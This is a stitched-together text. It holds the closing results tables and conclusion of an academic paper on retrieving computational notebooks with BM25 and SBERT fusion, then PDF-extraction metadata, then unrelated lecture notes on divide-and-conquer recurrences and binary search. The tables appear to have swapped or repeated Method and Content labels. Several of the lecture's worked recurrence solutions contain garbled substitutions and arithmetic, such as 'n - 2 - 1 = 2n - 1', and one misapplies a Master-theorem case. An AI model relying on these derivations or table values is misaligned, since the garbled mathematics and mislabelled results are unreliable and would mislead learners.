4) Comparison methods: Two main factors affect the performance of computational notebook search methods: indexing contents and ranking models. Regarding indexing contents, we consider three settings: ‘text’, ‘code’, and ‘text+code’, which denote indexing only textual descriptions in the Markdown cells, only codes inside the code cells, and the concatenation of both. For the ranking models, we utilize a commonly used sparse retrieval model, BM25, and two state-of-art dense retrieval models: sentence-transformers/multi-qa-mpnet-base-dot-v1 (SBERT1) and sentence-transformers/all-mpnet-base-dot-v2 (SBERT2). They are both based on the pre-trained model microsoft/mpnet-base\textsuperscript{v2} \hfill [13]. SBERT1 is trained on 215M (question, answer) pairs from diverse sources while SBERT2 is trained on above 1B sentence pairs. They share the same model size and report comparable performances on 6 diverse semantic search tasks. The dense retrieval models are provided by the sentence-transformers library\hfill [14] and are used in a zero-shot manner. All ranking methods are applied to the three aforementioned indexing settings. Besides single models, we investigate hybrid search via model fusion. Three fusion variants are considered: SBERT1+SBERT2, BM25+SBERT1, and BM25+SBERT2. The fused models utilize both texts and codes for similarity computation. We tested different settings of the weighting parameters $w_1$ and $w_2$ in the preliminary experiments, and the fused models seemed to be insensitive to these parameters. For simplicity, we set them both to 1. Their performances are measured using top-$k$ ranked results.
B. Results
Table IV and Table V list the experimental results. As discussed in Section V-A3, the $P@k$ and $R@k$ have upper bounds depending on the selection of $k$. Therefore, we provide the metrics values in an ideal situation as references.
1) Effect of indexing contents (RQ1): We show the results in Table IV to demonstrate the effect of using different contents for retrieval. The results suggest that the combination of text and code performs better than only text or code. Moreover, the text is more useful than code for retrieving computational notebooks. First, we observe that the ‘text+code’ group consistently achieves the best performance using different retrieval models (Lines 3, 6, 9). Compared with the ‘text’ group, the P@5, R@5, and F1@5 increase by 45.2%, 47.7%, and 45.8% respectively using the BM25 method (Line 1, 3). Compared with the ‘code’ group, the P@5, R@5, and F1@5 increase by 281.2%, 136.1%, and 258.7% respectively using the BM25 method (Line 2, 3). Second, we find that the ‘text’ group has better performance than the ‘code’ group. Comparing the ‘text’ group to the ‘code’ group, the P@5, R@5, and F1@5 increase by 162.4%, 127.6%, and 142.2% respectively using the BM25 method (Line 1, 2). It is reasonable as, in many cases, texts and codes are complementary, and the combination of them provides more retrievable information for the computational
https://huggingface.co/microsoft/mpnet-base
https://www.sbert.net/
In computational notebook search tasks requires extra effort. Models are effective on single data modality, but applying them of dense retrieval models. However, the fusion of two dense retrieval models, i.e., SBERT1+SBERT2, BM25+SBERT1, and BM25+SBERT2, applied on 'text+code' contents. The last two coalesce a sparse retrieval model with a dense retrieval model. We show the results in Table V. They illustrate that incorporating a sparse retrieval model to form a keyword-aware retrieval method can significantly boost the performance of dense retrieval models. However, the fusion of two dense retrieval models does not improve and even impairs the performance compared to using a single dense retrieval model. The sparse-dense fused model gains the best performance for top-5 retrieved results.
First, both dense models achieve large performance increases when combined with the BM25 model. Compared with SBERT1 only, BM25+SBERT1 shows 42.1% and 12.5% raises on F1@5, for k = 5, 10 respectively (Line 2, 5). Compared with SBERT2 only, BM25+SBERT2 also manifests a performance improvement of 13.8% on F1@5 and 9.3% on F1@10 (Line 3, 6). In contrast, the SBERT1+SBERT2 combination causes a performance drop compared with each individual model (Line 2, 3, 4). Second, BM25+SBERT1 is the best-performed model over the top-5 retrieved computational notebooks. Compared with BM25, the P@5, R@5, F1@5 and NDCG@5 increase by 4.9%, 9.0%, 5.2% and 9.3%, respectively (Line 1, 5). An exception is P@10, R@10 and F1@10, the reason why the scores are low in metrics@10 could be that dense retrieval models introduce more irrelevant computational notebooks in the top-10 results. It provides the community with an opportunity to develop more effective fusion strategies for sparse and dense retrieval models to leverage the full set advantages of both models. Table VI shows top-3 ranking examples for the query “visual saliency” with BM25(text+code) and BM25+SBERT1(text+code) methods. Due to the page limit, we only display descriptive texts. Readers can access the whole computational notebooks via given URLs. Compared with BM25, the fused model of BM25 and SBERT1 improves the ranking by shifting relevant results one spot higher. Although it does not change the precision and recall for top-3 retrieved results, it prevents the frustration of seeing irrelevant computational notebooks on the top.
One common phenomenon in the experimental results is the decreased performance of P@k when k increases from 5 to 10, also seen in the ideal situation (Line 0 in Table IV). This is because the average number of relevant computational notebooks in the evaluation dataset is 208/47 ≈ 4.4 < 5, and
<table>
<thead>
<tr>
<th>No.</th>
<th>Method</th>
<th>Content</th>
<th>P@5</th>
<th>R@5</th>
<th>F1@5</th>
<th>NDCG@5</th>
<th>P@10</th>
<th>R@10</th>
<th>F1@10</th>
<th>NDCG@10</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>–</td>
<td>Ideal</td>
<td>0.6851</td>
<td>0.9046</td>
<td>0.7073</td>
<td>–</td>
<td>0.4191</td>
<td>0.9856</td>
<td>0.5356</td>
<td>–</td>
</tr>
<tr>
<td>1</td>
<td>text</td>
<td>BM25</td>
<td>0.1787</td>
<td>0.2317</td>
<td>0.1843</td>
<td>0.4881</td>
<td>0.1426</td>
<td>0.3530</td>
<td>0.1872</td>
<td>0.5026</td>
</tr>
<tr>
<td>2</td>
<td>code</td>
<td>SBERT1</td>
<td>0.0681</td>
<td>0.1018</td>
<td>0.0761</td>
<td>0.2196</td>
<td>0.0553</td>
<td>0.1392</td>
<td>0.0742</td>
<td>0.2403</td>
</tr>
<tr>
<td>3</td>
<td>text+code</td>
<td>SBERT2</td>
<td>0.2596</td>
<td>0.3422</td>
<td>0.2730</td>
<td>0.5584</td>
<td>0.1915</td>
<td>0.5078</td>
<td>0.2593</td>
<td>0.5720</td>
</tr>
<tr>
<td>4</td>
<td>text</td>
<td>BM25</td>
<td>0.1787</td>
<td>0.2714</td>
<td>0.1927</td>
<td>0.4462</td>
<td>0.1298</td>
<td>0.3659</td>
<td>0.1761</td>
<td>0.4686</td>
</tr>
<tr>
<td>5</td>
<td>code</td>
<td>SBERT1</td>
<td>0.0936</td>
<td>0.1248</td>
<td>0.0951</td>
<td>0.2499</td>
<td>0.0660</td>
<td>0.1480</td>
<td>0.0802</td>
<td>0.2674</td>
</tr>
<tr>
<td>6</td>
<td>text+code</td>
<td>SBERT2</td>
<td>0.1872</td>
<td>0.2755</td>
<td>0.2021</td>
<td>0.4965</td>
<td>0.1426</td>
<td>0.3961</td>
<td>0.1948</td>
<td>0.5287</td>
</tr>
<tr>
<td>7</td>
<td>text</td>
<td>BM25</td>
<td>0.2043</td>
<td>0.3020</td>
<td>0.2217</td>
<td>0.5569</td>
<td>0.1426</td>
<td>0.3855</td>
<td>0.1909</td>
<td>0.5629</td>
</tr>
<tr>
<td>8</td>
<td>code</td>
<td>SBERT1</td>
<td>0.0723</td>
<td>0.1021</td>
<td>0.0761</td>
<td>0.1967</td>
<td>0.0660</td>
<td>0.1482</td>
<td>0.0829</td>
<td>0.2388</td>
</tr>
<tr>
<td>9</td>
<td>text+code</td>
<td>SBERT2</td>
<td>0.2213</td>
<td>0.3153</td>
<td>0.2356</td>
<td>0.5958</td>
<td>0.1553</td>
<td>0.4080</td>
<td>0.2084</td>
<td>0.5764</td>
</tr>
</tbody>
</table>
TABLE V
COMPARISON OF DIFFERENT METHODS USING ‘TEXT+CODE’ INDEXING CONTENTS.
<table>
<thead>
<tr>
<th>No.</th>
<th>Method</th>
<th>P@5</th>
<th>R@5</th>
<th>F1@5</th>
<th>NDCG@5</th>
<th>P@10</th>
<th>R@10</th>
<th>F1@10</th>
<th>NDCG@10</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>BM25</td>
<td>0.2596</td>
<td>0.3422</td>
<td>0.2730</td>
<td>0.5584</td>
<td>0.1915</td>
<td>0.5078</td>
<td>0.2593</td>
<td>0.5720</td>
</tr>
<tr>
<td>2</td>
<td>SBERT1</td>
<td>0.1872</td>
<td>0.2755</td>
<td>0.2021</td>
<td>0.4965</td>
<td>0.1426</td>
<td>0.3961</td>
<td>0.1948</td>
<td>0.5287</td>
</tr>
<tr>
<td>3</td>
<td>SBERT2</td>
<td>0.2213</td>
<td>0.3153</td>
<td>0.2356</td>
<td>0.5958</td>
<td>0.1553</td>
<td>0.4080</td>
<td>0.2084</td>
<td>0.5764</td>
</tr>
<tr>
<td>4</td>
<td>SBERT1+SBERT2</td>
<td>0.1787</td>
<td>0.2668</td>
<td>0.1946</td>
<td>0.4954</td>
<td>0.1319</td>
<td>0.3834</td>
<td>0.1818</td>
<td>0.5368</td>
</tr>
<tr>
<td>5</td>
<td>BM25+SBERT1</td>
<td>0.2723</td>
<td>0.3729</td>
<td>0.2872</td>
<td>0.6102</td>
<td>0.1660</td>
<td>0.4234</td>
<td>0.2191</td>
<td>0.6105</td>
</tr>
<tr>
<td>6</td>
<td>BM25+SBERT2</td>
<td>0.2553</td>
<td>0.3381</td>
<td>0.2682</td>
<td>0.5808</td>
<td>0.1723</td>
<td>0.4241</td>
<td>0.2277</td>
<td>0.5754</td>
</tr>
</tbody>
</table>
TABLE VI
EXAMPLES OF RETURNED COMPUTATIONAL NOTEBOOKS FOR QUERY “VISUAL SALIENCY SALIENCY”
<table>
<thead>
<tr>
<th>Method</th>
<th>Rank</th>
<th>Top-k ranked computational notebook</th>
<th>relevance</th>
</tr>
</thead>
<tbody>
<tr>
<td>BM25 (text+code)</td>
<td>1</td>
<td>DeepGaze II and ICF</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td></td>
<td><a href="https://github.com/sammy-w/visual_saliency/blob/main/deep_gaze/Demo.ipynb">https://github.com/sammy-w/visual_saliency/blob/main/deep_gaze/Demo.ipynb</a></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>This notebook demonstrates how to load and use the DeepGaze II and ICF models.</td>
<td></td>
</tr>
<tr>
<td></td>
<td>2</td>
<td>Visualizing neural network with visual_keras</td>
<td>2</td>
</tr>
<tr>
<td></td>
<td></td>
<td><a href="https://github.com/ellolo/visual-keras/blob/master/example_usage.ipynb">https://github.com/ellolo/visual-keras/blob/master/example_usage.ipynb</a></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>This notebook provides examples of how to use the visual_keras library to visualize neural network</td>
<td></td>
</tr>
<tr>
<td></td>
<td>3</td>
<td>Seeing is believing</td>
<td>3</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Using FlashTorch to shine a light on what neural nets “see”</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Evolved in response to a desire to make neural nets “see”</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1</td>
<td>BM25+SBERT1 (text+code)</td>
<td></td>
</tr>
<tr>
<td></td>
<td>1</td>
<td>Visualizing neural network with visual_keras</td>
<td>2</td>
</tr>
<tr>
<td></td>
<td></td>
<td><a href="https://github.com/ellolo/visual-keras/blob/master/example_usage.ipynb">https://github.com/ellolo/visual-keras/blob/master/example_usage.ipynb</a></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>This notebook provides examples of how to use the visual_keras library to visualize neural network</td>
<td></td>
</tr>
<tr>
<td></td>
<td>2</td>
<td>Using FlashTorch to shine a light on what neural nets “see”</td>
<td>3</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Evolved in response to a desire to make neural nets “see”</td>
<td></td>
</tr>
<tr>
<td></td>
<td>3</td>
<td>Find visual saliency in uncompressed videos</td>
<td>0</td>
</tr>
<tr>
<td></td>
<td></td>
<td><a href="https://github.com/Dimitri780003/Neural_network_saliency/blob/master/Keras_saliency.ipynb">https://github.com/Dimitri780003/Neural_network_saliency/blob/master/Keras_saliency.ipynb</a></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>Dimitri LEURS and Khalil GHETARI framed by mihai MITREA.</td>
<td></td>
</tr>
</tbody>
</table>
thus the increase in the number of retrieved results will likely hamper the model precision. This also causes a prevalently higher R@k than P@k because the precision is more bounded than the recall by the small number of relevant computational notebooks associated with evaluation queries.
VI. CONCLUSION AND FUTURE WORK
With the Jupyter Notebook environment widely adopted in data science, there is an increasing amount of computational notebooks created and published on the web [32]. Scientists can reuse these resources to reduce laborious work and expedite scientific innovations. However, finding relevant computational notebooks is challenging due to the complexity of researchers’ information needs and the multi-modal nature of computational notebooks. In this paper, we propose DeCNR to increase the discoverability of external computational notebooks via a fusion-based approach that combines BM25 and SBERT for computational notebooks ranking. Experimental results suggest that the proposed system can effectively retrieve semantically relevant computational notebooks, and the fusion-based model outperforms baseline models when evaluated on top-5 retrieved results.
Our bi-modal approach—considering both text and code within computational notebooks—addresses the inherent complexity and interplay of these two components. Notably, this approach has the potential to be extended beyond computational notebooks to encompass broader forms of data, such as code scripts and documentation. The proposed computational notebook search system is a great effort to improve the research environment, which relies heavily on commercial tools and open-domain retrieval techniques. Experimental results suggest that the proposed system can effectively retrieve semantically relevant computational notebooks, and the fused model outperforms baseline models when evaluated on top-5 retrieved results. Besides, the dataset developed for assessing computational notebook retrieval models fills an important gap in the research community. It enables convenient comparison between different methods and tracking of development in the field of computational notebook retrieval.
Nevertheless, we admit that there are still limitations in this work. We apply the dense retrieval models in a zero-shot manner, which may be a suboptimal solution towards the computational notebook search problem. Optimizing such models usually requires a large amount of labeled data, posing a
significant challenge for research-oriented computational notebook search tasks. Moreover, we did not explicitly measure the quality of computational notebooks, which may impact the usefulness of the retrieved results. In the future, we will improve the system by introducing computing-related factors into computational notebook ranking, e.g., the executability of computational notebooks/cells and execution time. We will also explore graph-based computational notebook search and recommendation, which leverage the common components within the computational notebooks, e.g., models, datasets, and libraries, to connect computational notebooks. It will potentially provide researchers with high-quality (importance assessment via graph analysis) and personalized (considering the available resources of users) computational notebooks.
ACKNOWLEDGMENT
This work has been partially funded by the European Union’s Horizon 2020 research and innovation program by the project CLARIFY under the Marie Skłodowska-Curie grant agreement No 860627, by the ARTICONF project grant agreement No 825134, by the ENVRI-FAIR project grant agreement No 824068, by the BLUECLOUD project grant agreement No 862409, by the LifeWatch ERIC, by the EPSRC grant EP/W032473/1.
REFERENCES
|
{"Source-Url": "https://pure.uva.nl/ws/files/163656297/2023.conference.escience.nali.camera.pdf", "len_cl100k_base": 11236, "olmocr-version": "0.1.50", "pdf-total-pages": 11, "total-fallback-pages": 0, "total-input-tokens": 36255, "total-output-tokens": 13425, "length": "2e13", "weborganizer": {"__label__adult": 0.0004639625549316406, "__label__art_design": 0.0008416175842285156, "__label__crime_law": 0.0005044937133789062, "__label__education_jobs": 0.006805419921875, "__label__entertainment": 0.00024306774139404297, "__label__fashion_beauty": 0.0002918243408203125, "__label__finance_business": 0.0006718635559082031, "__label__food_dining": 0.00042939186096191406, "__label__games": 0.0009098052978515624, "__label__hardware": 0.001239776611328125, "__label__health": 0.0008053779602050781, "__label__history": 0.0007076263427734375, "__label__home_hobbies": 0.00019860267639160156, "__label__industrial": 0.0005164146423339844, "__label__literature": 0.0009236335754394532, "__label__politics": 0.0003452301025390625, "__label__religion": 0.0006399154663085938, "__label__science_tech": 0.353515625, "__label__social_life": 0.0003197193145751953, "__label__software": 0.03424072265625, "__label__software_dev": 0.59423828125, "__label__sports_fitness": 0.00026226043701171875, "__label__transportation": 0.0005831718444824219, "__label__travel": 0.0002846717834472656}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 54554, 0.05285]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 54554, 0.2536]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 54554, 0.82906]], "google_gemma-3-12b-it_contains_pii": [[0, 680, false], [680, 6326, null], [6326, 10699, null], [10699, 16564, null], [16564, 21107, null], [21107, 26633, null], [26633, 30953, null], [30953, 36091, null], [36091, 39942, null], [39942, 46957, null], [46957, 54554, null]], "google_gemma-3-12b-it_is_public_document": [[0, 680, true], [680, 6326, null], [6326, 10699, null], [10699, 16564, null], [16564, 21107, null], [21107, 26633, null], [26633, 30953, null], [30953, 36091, null], [36091, 39942, null], [39942, 46957, null], [46957, 54554, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 54554, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 54554, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 54554, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 54554, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 54554, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 54554, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 54554, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 54554, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 54554, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 54554, null]], "pdf_page_numbers": [[0, 680, 1], [680, 6326, 2], [6326, 10699, 3], [10699, 16564, 4], [16564, 21107, 5], [21107, 26633, 6], [26633, 30953, 7], [30953, 36091, 8], [36091, 39942, 9], [39942, 46957, 10], [46957, 54554, 11]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 54554, 0.29694]]}
|
olmocr_science_pdfs
|
2024-12-03
|
2024-12-03
|
53e1e928ab8ee32069345d5c09e9199f40dcaf07
|
Lecture Notes
on
15CS43
Design and Analysis of Algorithms
(CBCS Scheme)
Prepared by
Mr. Harivinod N
Assistant Professor,
Dept. of Computer Science and Engineering,
VCET Puttur
Feb 2017
Module-2 : Divide and Conquer
Contents
1. General method
2. Recurrence equation
3. Algorithm: Binary search
4. Algorithm: Finding the maximum and minimum
5. Algorithm: Merge sort
6. Algorithm: Quick sort
7. Algorithm: Strassen’s matrix multiplication
8. Advantages and Disadvantages
9. Decrease and Conquer Approach
10. Algorithm: Topological Sort
Course website: www.techjourney.in
1. General method:
Divide and Conquer is one of the best-known general algorithm design technique. It works according to the following general plan:
- Given a function to compute on ‘n’ inputs the divide-and-conquer strategy suggests splitting the inputs into ‘k’ distinct subsets, 1< \( k \leq n \), yielding ‘k’ sub problems.
- These sub problems must be solved, and then a method must be found to combine sub solutions into a solution of the whole.
- If the sub problems are still relatively large, then the divide-and-conquer strategy can possibly be reapplied.
- Often the sub problems resulting from a divide-and-conquer design are of the same type as the original problem. For those cases the reapplication of the divide-and-conquer principle is naturally expressed by a recursive algorithm.
A typical case with \( k=2 \) is diagrammatically shown below.
Control Abstraction for divide and conquer:
**Algorithm** \( \text{DAndC}(P) \)
```
{
if \( \text{Small}(P) \) then return \( \text{S}(P) \);
else
{
divide \( P \) into smaller instances \( P_1, P_2, \ldots, P_k \), \( k \geq 1 \);
apply \( \text{DAndC} \) to each of these subproblems;
return \( \text{Combine}(\text{DAndC}(P_1), \text{DAndC}(P_2), \ldots, \text{DAndC}(P_k)) \);
}
}
```
In the above specification,
- Initially \( \text{DAndC}(P) \) is invoked, where ‘P’ is the problem to be solved.
- \( \text{Small}(P) \) is a Boolean-valued function that determines whether the input size is small enough that the answer can be computed without splitting. If this so, the function ‘S’ is invoked. Otherwise, the problem P is divided into smaller sub problems. These sub problems \( P_1, P_2 \ldots P_k \) are solved by recursive application of \( \text{DAndC} \).
- \( \text{Combine} \) is a function that determines the solution to \( P \) using the solutions to the ‘k’ sub problems.
2. Recurrence equation for Divide and Conquer:
If the size of problem ‘p’ is n and the sizes of the ‘k’ sub problems are \(n_1, n_2, \ldots, n_k\), respectively, then the computing time of divide and conquer is described by the recurrence relation
\[
T(n) = \begin{cases}
g(n) & \text{if } n \text{ small} \\
T(n_1) + T(n_2) + \cdots + T(n_k) + f(n) & \text{otherwise}
\end{cases}
\]
Where,
- \(T(n)\) is the time for divide and conquer method on any input of size \(n\) and
- \(g(n)\) is the time to compute answer directly for small inputs.
- The function \(f(n)\) is the time for dividing the problem ‘p’ and combining the solutions to sub problems.
For divide and conquer based algorithms that produce sub problems of the same type as the original problem, it is very natural to first describe them by using recursion.
More generally, an instance of size \(n\) can be divided into \(b\) instances of size \(n/b\), with \(a\) of them needing to be solved. (Here, \(a\) and \(b\) are constants; \(a > 1\) and \(b > 1\).) Assuming that size \(n\) is a power of \(b\) (i.e. \(n = b^k\)), to simplify our analysis, we get the following recurrence for the running time \(T(n)\):
\[
T(n) = \begin{cases}
T(1) & \text{if } n = 1 \\
\frac{aT(n/b)}{+ f(n)} & \text{if } n > 1
\end{cases}
\] .... (1)
where \(f(n)\) is a function that accounts for the time spent on dividing the problem into smaller ones and on combining their solutions.
**Substitution Method** - One of the methods for solving the recurrence relation is called the substitution method. This method repeatedly makes substitution for each occurrence of the function \(T\) in the right hand side until all such occurrences disappear.
**Master Theorem** - The efficiency analysis of many divide-and-conquer algorithms is greatly simplified by the master theorem.
It states that, in recurrence equation \(T(n) = aT(n/b) + f(n)\), If \(f(n) = \Theta(n^d)\) where \(d \geq 0\) then
\[
T(n) = \begin{cases}
\Theta(n^d) & \text{if } a < b^d, \\
\Theta(n^d \log n) & \text{if } a = b^d, \\
\Theta(n^{\log_b a}) & \text{if } a > b^d.
\end{cases}
\]
Analogous results hold for the \(O\) and \(\Omega\) notations, too.
For example, the recurrence for the number of additions \(A(n)\) made by the divide-and-conquer sum-computation algorithm (see above) on inputs of size \(n = 2^k\) is
\[
A(n) = 2A(n/2) + 1.
\]
Thus, for this example, \(a = 2\), \(b = 2\), and \(d = 0\); hence, since \(a > b^d\),
\[
A(n) \in \Theta(n^{\log_b a}) = \Theta(n^{\log_2 2}) = \Theta(n).
\]
Problems on Substitution method & Master theorem to solve the recurrence relation
\[
T(n) = 2T(n/2) + n, \quad T(1) = 2.
\]
**Using Substitution Method**
\[
\begin{align*}
T(n) &= 2T(n/2) + n \\
&= 2\left[2T(n/4) + \frac{n}{2}\right] + n = 4T(n/4) + 2n \\
&= 4\left[2T(n/8) + \frac{n}{4}\right] + 2n = 8T(n/8) + 2n \\
&\vdots \\
&= 2^i T(n/2^i) + in, \quad 1 \leq i \leq \log_2 n
\end{align*}
\]
The maximum value for \(i = \log_2 n\) \(\Rightarrow\) then only we get \(\Theta(\cdot)\)
\[
\begin{align*}
&= 2^{\log_2 n} T\left(\frac{n}{2^{\log_2 n}}\right) + n \cdot \log_2 n \\
&= n \cdot T(1) + n \log_2 n \\
&= 2n + n \log_2 n \\
&= \Theta(n \log_2 n)
\end{align*}
\]
**Solution using Master Theorem**
Here \(a=2, \quad b=2, \quad f(n) = n = \Theta(n^d) \Rightarrow d = 1\)
Also we see that \(a = b^d \quad [2 = 2^1]\)
As per case-2 of Master theorem,
\[
\begin{align*}
T(n) &= \Theta(n^d \log_2 n) \\
T(n) &= \Theta(n \log_2 n)
\end{align*}
\]
Exercise 3.2: Solve by substitution method.
\( a = 1, \ b = 2, \ t(n) = c \)
**Solution:**
\[
T(n) = T\left(\frac{n}{2}\right) + c
\]
\[
= \left[T\left(\frac{n}{4}\right) + c\right] + c = T\left(\frac{n}{4}\right) + 2c
\]
\[
= \left[T\left(\frac{n}{8}\right) + c\right] + c = T\left(\frac{n}{8}\right) + 3c
\]
\[
\vdots
\]
\[
= T\left(\frac{n}{2^i}\right) + ic, \quad 1 \leq i \leq \log_2 n.
\]
\[
= T\left(\frac{n}{2^{\log_2 n}}\right) + \log_2 n \cdot c
\]
\[
= T(i) + \log_2 n.
\]
Assuming \( T(i) = k, \) some constant
\[
T(n) = c\log_2 n + k.
\]
\[
T(n) = \Theta(\log_2 n).
\]
Solution using Master theorem
\[ a = 1, \ b = 2, \ t(n) = c = \Theta(1) = \Theta(n^0) \]
\[ \Rightarrow d = 0. \]
As \( a = b^d [1 = b^0], \) case-2 of master theorem applied.
\[
T(n) = \Theta(n^d \log_2 n).
\]
\[
T(n) = \Theta(\log_2 n).
\]
Exercise 3.3
Solve the recurrence relation
\[ a = 2, \quad b = 2, \quad f(n) = c \cdot n. \]
\[
\begin{align*}
T(n) &= 2 \cdot T \left( \frac{n}{4} \right) + c \cdot n \\
&= 4 \cdot T \left( \frac{n}{4^2} \right) + 2 \cdot c \cdot n = 4 \left[ 2 \cdot T \left( \frac{n}{4^2} \right) + c \cdot \frac{n}{4} \right] + 2cn \\
&= 8 \cdot T \left( \frac{n}{8} \right) + 2c \cdot n \\
&= 2^i T \left( \frac{n}{2^i} \right) + icn, \quad 1 \leq i \leq \log_2 n.
\end{align*}
\]
\[
= 2^{\log_2 n} T \left( \frac{n}{2^{\log_2 n}} \right) + \log_2 n \cdot c \cdot n \\
= n \cdot T(1) + c \cdot n \log_2 n
\]
Assuming \( T(1) = k \) is some constant
\[
T(n) = \Theta(n \log_2 n).
\]
Solution using Master Theorem
Here \( a = 2, \quad b = 2, \quad f(n) = c \cdot n = \Theta(n) = \Theta(n^1) \Rightarrow d = 1 \)
Here \( a = b^d \left[ 2 - 2^d \right], \) Case 2 of Master Theorem
\[
T(n) = \Theta \left( n \log_2 \frac{n}{b} \right) \\
= \Theta \left( n \log_2 n \right)
\]
Ex. 3.5
Solve \( T(n) = 9 \cdot T\left(\frac{n}{3}\right) + 4n^6 \) \( \quad n > 3 \) \( \quad n \) is power of 3
**Solution**
\[
T(n) = 9 \cdot T\left(\frac{n}{9}\right) + 4n^6
\]
\[
= 9 \left[ 9 \cdot T\left(\frac{n}{9^2}\right) + 4 \left(\frac{n}{9}\right)^6 \right] + 4n^6
\]
\[
= 81 \cdot T\left(\frac{n}{9^2}\right) + 9 \cdot 4 \cdot \frac{n^6}{9^2} + 4n^6
\]
\[
= 81 \cdot T\left(\frac{n}{9^2}\right) + 4 \cdot \frac{n^6}{9^2} + 4n^6
\]
\[
= 3^4 \cdot T\left(\frac{n}{3^2}\right) + \left(\frac{4 \cdot 3^4}{3^4}\right)4n^6
\]
\[
= 3^4 \cdot T\left(\frac{n}{3^2}\right) + k \cdot n^6. \quad \text{[} k \text{ is constant]}
\]
\[
= 3^3 \cdot T\left(\frac{n}{3^3}\right) + k \cdot n^6
\]
\[
= \cdots
\]
\[
= 3 \cdot \log_3 n \cdot T\left(\frac{n}{3\log_3 n}\right) + k \cdot n^6
\]
\[
= 3^2 \cdot 3 \log_3 n \cdot T(1) + k \cdot n^6
\]
Assuming \( T(1) \) is constant \( c \)
\[
= 9c \cdot n + k \cdot n^6
\]
\[
= \Theta(n^6)
\]
Solution using master theorem
\( a = 9, \quad b = 3, \quad f(n) = 4n^6 < \Theta(n^6) \Rightarrow d = 6 \)
Since \( a < b^d \) \( (9 < 3^6) \)
\( T(n) = \Theta(n^6) = \Theta(n^6) \).
\[ T(n) = 2 \cdot T\left( \frac{n}{4} \right) + 1 \]
**Solution**
\[ T(n) = 8 \cdot \left[ 2 \cdot T\left( \frac{n}{8} \right) + 1 \right] + 1 = 4 \cdot T\left( \frac{n}{4} \right) + (2+1) \]
\[ = 8 \cdot T\left( \frac{n}{8} \right) + (4+2+1) \]
\[ \vdots \]
\[ = 2^i \cdot T\left( \frac{n}{2^i} \right) + \left[ 2^{i-1} + 2^{i-2} + \cdots + 2+1 \right] \]
\[ \left( \leq i \leq \log_2 n \right) \]
\[ = 2^{\log_2 n} \cdot T(1) + (2^i - 1) \]
\[ = n \cdot T(1) + 2^{\log_2 n} - 1 \]
Assuming \( T(1) = 1 \)
\[ = n + n - 1 \]
\[ = \theta(n) \]
**Solution using Master Theorem**
\[ a = 2, \quad b = 2, \quad f(n) = 1 \]
\[ = \Theta(1) = \Theta(n^0) \Rightarrow d = 0. \]
Since \( a > b^d (2 > 2^0) \), case-3 is applied
\[ T(n) = \Theta(n^{\log_2 2}) \]
\[ = \Theta(n) \]
\[ T(n) = T\left(\frac{n}{2}\right) + n \]
\[ T(n) = T\left(\frac{n}{2}\right) + n \]
\[ = T\left(\frac{n}{4}\right) + \frac{n}{2} + n \]
\[ = T\left(\frac{n}{8}\right) + \frac{n}{4} + \frac{n}{2} + n \]
\[ \vdots \]
\[ = T\left(\frac{n}{2^i}\right) + \left(\frac{n}{2^{i-1}} + \frac{n}{2^{i-2}} + \cdots + \frac{n}{2} + n\right) \quad \text{for } 1 \leq i \leq \log_2 n \]
\[ = T(1) + \frac{n}{\log_2 n} + \frac{n}{\log_2 n - 2} + \cdots + \frac{n}{4} + \frac{n}{2} + n \]
Answer: \( T(n) = \theta(n) \)
\[ 1 + 2 + 2^0 + \cdots + 2^{\log_2 n - 2} + 2^{\log_2 n - 1} + 2^{\log_2 n} \]
\[ = 2^{\log_2 n + 1} - 1 \]
\[ = 2^{\log_2 n} \cdot 2 - 1 \]
\[ = n - 2 - 1 = 2n - 1 \in \theta(n) \]
Solved using Master Theorem
\[ a = 1, \quad b = 2, \quad f(n) = n = \theta(n^0) \Rightarrow d = 1. \]
Since \( a = b^d \) (\( 1 \leq d \))
\[ T(n) = \theta\left(n^{d}\right) = \theta(n) \]
3. Binary Search
Problem definition: Let $a_i, 1 \leq i \leq n$ be a list of elements that are sorted in non-decreasing order. The problem is to find whether a given element $x$ is present in the list or not. If $x$ is present we have to determine a value $j$ (element’s position) such that $a_j=x$. If $x$ is not in the list, then $j$ is set to zero.
Solution: Let $P = (n, a_1, \ldots, a_l, x)$ denote an arbitrary instance of search problem where $n$ is the number of elements in the list, $a_1, \ldots, a_l$ is the list of elements and $x$ is the key element to be searched for in the given list. Binary search on the list is done as follows:
Step 1: Pick an index $q$ in the middle range $[i, l]$ i.e. $q=\lfloor (n + 1) / 2 \rfloor$ and compare $x$ with $a_q$.
Step 2: if $x = a_q$ i.e key element is equal to mid element, the problem is immediately solved.
Step 3: if $x < a_q$ in this case $x$ has to be searched for only in the sub-list $a_i, a_{i+1}, \ldots, a_{q-1}$.
Therefore problem reduces to $(q-i, a_1, \ldots, a_{q-1}, x)$.
